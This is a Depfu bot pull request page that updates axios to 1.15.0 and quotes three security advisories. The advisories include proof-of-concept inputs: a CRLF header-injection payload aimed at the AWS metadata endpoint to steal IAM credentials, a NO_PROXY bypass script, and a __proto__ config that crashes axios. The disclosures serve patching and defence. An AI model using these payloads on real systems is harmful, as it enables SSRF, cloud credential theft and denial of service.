Skip to content

🚨 [security] Update axios 1.13.2 → 1.15.0 (minor)#68

Open
depfu[bot] wants to merge 1 commit intomainfrom
depfu/update/npm/axios-1.15.0
Open

🚨 [security] Update axios 1.13.2 → 1.15.0 (minor)#68
depfu[bot] wants to merge 1 commit intomainfrom
depfu/update/npm/axios-1.15.0

Conversation

@depfu
Copy link
Copy Markdown
Contributor

@depfu depfu bot commented Apr 9, 2026 •
edited
Loading

Welcome to Depfu 👋

This is one of the first three pull requests with dependency updates we've sent your way. We tried to start with a few easy patch-level updates. Hopefully your tests will pass and you can merge this pull request without too much risk. This should give you an idea how Depfu works in general.

After you merge your first pull request, we'll send you a few more. We'll never open more than seven PRs at the same time so you're not getting overwhelmed with updates.

Let us know if you have any questions. Thanks so much for giving Depfu a try!

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ axios (1.13.2 → 1.15.0) · Repo · Changelog

Security Advisories 🚨

🚨 Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Summary

The Axios library is vulnerable to a specific "Gadget" attack chain that allows Prototype Pollution in any third-party dependency to be escalated into Remote Code Execution (RCE) or Full Cloud Compromise (via AWS IMDSv2 bypass).

While Axios patches exist for preventing check pollution, the library remains vulnerable to being used as a gadget when pollution occurs elsewhere. This is due to a lack of HTTP Header Sanitization (CWE-113) combined with default SSRF capabilities.

Severity: Critical (CVSS 9.9)
Affected Versions: All versions (v0.x - v1.x)
Vulnerable Component: lib/adapters/http.js (Header Processing)

Usage of "Helper" Vulnerabilities

This vulnerability is unique because it requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, ini, body-parser), Axios will automatically pick up the polluted properties during its config merge.

Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property becomes a Request Smuggling payload.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype['x-amz-target'] = "dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore";

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developer
await axios.get('https://analytics.internal/pings');

3. The Execution

Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.

Resulting HTTP traffic:

GET /pings HTTP/1.1
Host: analytics.internal
x-amz-target: dummy

PUT /latest/api/token HTTP/1.1

Host: 169.254.169.254

X-aws-ec2-metadata-token-ttl-seconds: 21600


GET /ignore HTTP/1.1

...

4. The Impact (IMDSv2 Bypass)

The "Smuggled" second request is a valid PUT request to the AWS Metadata Service. It includes the required X-aws-ec2-metadata-token-ttl-seconds header (which a normal SSRF cannot send).
The Metadata Service returns a session token, allowing the attacker to steal IAM credentials and compromise the cloud account.

Impact Analysis

  • Security Control Bypass: Defeats AWS IMDSv2 (Session Tokens).
  • Authentication Bypass: Can inject headers (Cookie, Authorization) to pivot into internal administrative panels.
  • Cache Poisoning: Can inject Host headers to poison shared caches.

Recommended Fix

Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.

Patch Suggestion:

// In lib/adapters/http.js
utils.forEach(requestHeaders, function setRequestHeader(val, key) {
  if (/[\r\n]/.test(val)) {
    throw new Error('Security: Header value contains invalid characters');
  }
  // ... proceed to set header
});

References

  • OWASP: CRLF Injection (CWE-113)

This report was generated as part of a security audit of the Axios library.

🚨 Axios has a NO_PROXY Hostname Normalization Bypass Leads to SSRF

Axios does not correctly handle hostname normalization when checking NO_PROXY rules.
Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.

This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.

According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost.
However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.

This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.

PoC

import http from "http";
import axios from "axios";

const proxyPort = 5300;


http.createServer((req, res) => {

console.log("[PROXY] Got:", req.method, req.url, "Host:", req.headers.host);

res.writeHead(200, { "Content-Type": "text/plain" });

res.end("proxied");

}).listen(proxyPort, () => console.log("Proxy", proxyPort));


process.env.HTTP_PROXY = http://127.0.0.1:<span class="pl-s1"><span class="pl-kos">${</span><span class="pl-s1">proxyPort</span><span class="pl-kos">}</span></span>;

process.env.NO_PROXY = "localhost,127.0.0.1,::1";


async function test(url) {

try {

await axios.get(url, { timeout: 2000 });

} catch {}

}


setTimeout(async () => {

console.log("\n[*] Testing http://localhost.:8080/");

await test("http://localhost.:8080/"); // goes through proxy


console.log("\n[*] Testing http://[::1]:8080/");

await test("http://[::1]:8080/"); // goes through proxy

}, 500);

Expected: Requests bypass the proxy (direct to loopback).
Actual: Proxy logs requests for localhost. and [::1].

Impact

  • Applications that rely on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access are vulnerable.

  • Attackers controlling request URLs can:

    • Force Axios to send local traffic through an attacker-controlled proxy.
    • Bypass SSRF mitigations relying on NO_PROXY rules.
    • Potentially exfiltrate sensitive responses from internal services via the proxy.

Affected Versions

  • Confirmed on Axios 1.12.2 (latest at time of testing).
  • affects all versions that rely on Axios’ current NO_PROXY evaluation.

Remediation
Axios should normalize hostnames before evaluating NO_PROXY, including:

  • Strip trailing dots from hostnames (per RFC 3986).
  • Normalize IPv6 literals by removing brackets for matching.

🚨 Axios is Vulnerable to Denial of Service via __proto__ Key in mergeConfig

Denial of Service via proto Key in mergeConfig

Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
  const merge = mergeMap[prop] || mergeDeepProperties;
  const configValue = merge(config1[prop], config2[prop], prop);
  (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});

When prop is '__proto__':

  1. JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
  2. Object.keys() includes '__proto__' in the iteration
  3. mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
  4. The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
  5. Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

  • Axios._request() at lib/core/Axios.js:75
  • Axios.getUri() at lib/core/Axios.js:201
  • All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224

PoC

import axios from "axios";

const maliciousConfig = JSON.parse('{"proto": {"x": 1}}');

await axios.get("https://httpbin.org/get", maliciousConfig);

Reproduction steps:

  1. Clone axios repository or npm install axios
  2. Create file poc.mjs with the code above
  3. Run: node poc.mjs
  4. Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
    at computeConfigValue (lib/core/mergeConfig.js:100:25)
    at Object.forEach (lib/utils.js:280:10)
    at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed:

Test Config Result
Normal config {"timeout": 5000} SUCCESS
Malicious config JSON.parse('{"__proto__": {"x": 1}}') CRASH
Nested object {"headers": {"X-Test": "value"}} SUCCESS

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

  • Node.js servers using axios for HTTP requests
  • Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

Release Notes

1.15.0

More info than we can show here.

1.14.0

More info than we can show here.

1.13.6

More info than we can show here.

1.13.5

More info than we can show here.

1.13.4

More info than we can show here.

1.13.3

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

⁉️ dotenv (downgrade, 17.2.3 → 16.6.1) · Repo · Changelog

Release Notes

17.2.3 (from changelog)

More info than we can show here.

17.2.2 (from changelog)

More info than we can show here.

17.2.1 (from changelog)

More info than we can show here.

17.2.0 (from changelog)

More info than we can show here.

17.1.0 (from changelog)

More info than we can show here.

17.0.1 (from changelog)

More info than we can show here.

17.0.0 (from changelog)

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ proxy-from-env (indirect, 1.1.0 → 2.1.0) · Repo

Release Notes

2.1.0

More info than we can show here.

2.0.0

More info than we can show here.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

🆕 @​types/graceful-fs (added, 4.1.9)

🆕 create-jest (added, 29.7.0)

🆕 diff-sequences (added, 29.6.3)

🆕 exit (added, 0.1.2)

🆕 is-core-module (added, 2.16.1)

🆕 jest-get-type (added, 29.6.3)

🆕 kleur (added, 3.0.3)

🆕 path-parse (added, 1.0.7)

🆕 prompts (added, 2.4.2)

🆕 resolve (added, 1.22.11)

🆕 resolve.exports (added, 2.0.3)

🆕 sisteransi (added, 1.0.5)

🆕 supports-preserve-symlinks-flag (added, 1.0.0)

🆕 @​jest/console (added, 29.7.0)

🆕 @​jest/core (added, 29.7.0)

🆕 @​jest/environment (added, 29.7.0)

🆕 @​jest/expect (added, 29.7.0)

🆕 @​jest/expect-utils (added, 29.7.0)

🆕 @​jest/fake-timers (added, 29.7.0)

🆕 @​jest/globals (added, 29.7.0)

🆕 @​jest/reporters (added, 29.7.0)

🆕 @​jest/schemas (added, 29.6.3)

🆕 @​jest/source-map (added, 29.6.3)

🆕 @​jest/test-result (added, 29.7.0)

🆕 @​jest/test-sequencer (added, 29.7.0)

🆕 @​jest/transform (added, 29.7.0)

🆕 @​jest/types (added, 29.6.3)

🆕 @​sinclair/typebox (added, 0.27.10)

🆕 @​sinonjs/fake-timers (added, 10.3.0)

🆕 babel-jest (added, 29.7.0)

🆕 babel-plugin-istanbul (added, 6.1.1)

🆕 babel-plugin-jest-hoist (added, 29.6.3)

🆕 babel-preset-jest (added, 29.6.3)

🆕 ci-info (added, 3.9.0)

🆕 cjs-module-lexer (added, 1.4.3)

🆕 wrap-ansi (added, 8.1.0)

🆕 expect (added, 29.7.0)

🆕 istanbul-lib-instrument (added, 5.2.1)

🆕 semver (added, 7.7.4)

🆕 istanbul-lib-source-maps (added, 4.0.1)

🆕 jest-changed-files (added, 29.7.0)

🆕 jest-circus (added, 29.7.0)

🆕 jest-config (added, 29.7.0)

🆕 jest-diff (added, 29.7.0)

🆕 jest-docblock (added, 29.7.0)

🆕 jest-each (added, 29.7.0)

🆕 jest-environment-node (added, 29.7.0)

🆕 jest-haste-map (added, 29.7.0)

🆕 jest-leak-detector (added, 29.7.0)

🆕 jest-matcher-utils (added, 29.7.0)

🆕 jest-message-util (added, 29.7.0)

🆕 jest-mock (added, 29.7.0)

🆕 jest-regex-util (added, 29.6.3)

🆕 jest-resolve (added, 29.7.0)

🆕 jest-resolve-dependencies (added, 29.7.0)

🆕 jest-runner (added, 29.7.0)

🆕 jest-runtime (added, 29.7.0)

🆕 jest-snapshot (added, 29.7.0)

🆕 jest-util (added, 29.7.0)

🆕 jest-validate (added, 29.7.0)

🆕 jest-watcher (added, 29.7.0)

🆕 jest-worker (added, 29.7.0)

🆕 pretty-format (added, 29.7.0)

🆕 pure-rand (added, 6.1.0)

🆕 write-file-atomic (added, 5.0.1)

Depfu Status

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands
@​depfu rebase
Rebases against your default branch and redoes this update
@​depfu recreate
Recreates this PR, overwriting any edits that you've made to it
@​depfu merge
Merges this PR once your tests are passing and conflicts are resolved
@​depfu cancel merge
Cancels automatic merging of this PR
@​depfu close
Closes this PR and deletes the branch
@​depfu reopen
Restores the branch and reopens this PR (if it's closed)
@​depfu pause
Ignores all future updates for this dependency and closes this PR
@​depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR
@​depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

@depfu depfu bot added the depfu label Apr 9, 2026
@depfu depfu bot mentioned this pull request Apr 9, 2026
Closed
@codacy-production
Copy link
Copy Markdown

codacy-production bot commented Apr 9, 2026

Not up to standards ⛔

🔴 Issues 1 high · 1 medium

Alerts:
⚠ 2 issues (≤ 0 issues of at least minor severity)

Results:
2 new issues

Category Results
Security 1 medium
1 high

View in Codacy

🟢 Metrics 0 complexity · 0 duplication

Metric Results
Complexity 0
Duplication 0

View in Codacy

TIP This summary will be updated as you push new changes. Give us feedback

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

depfu

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants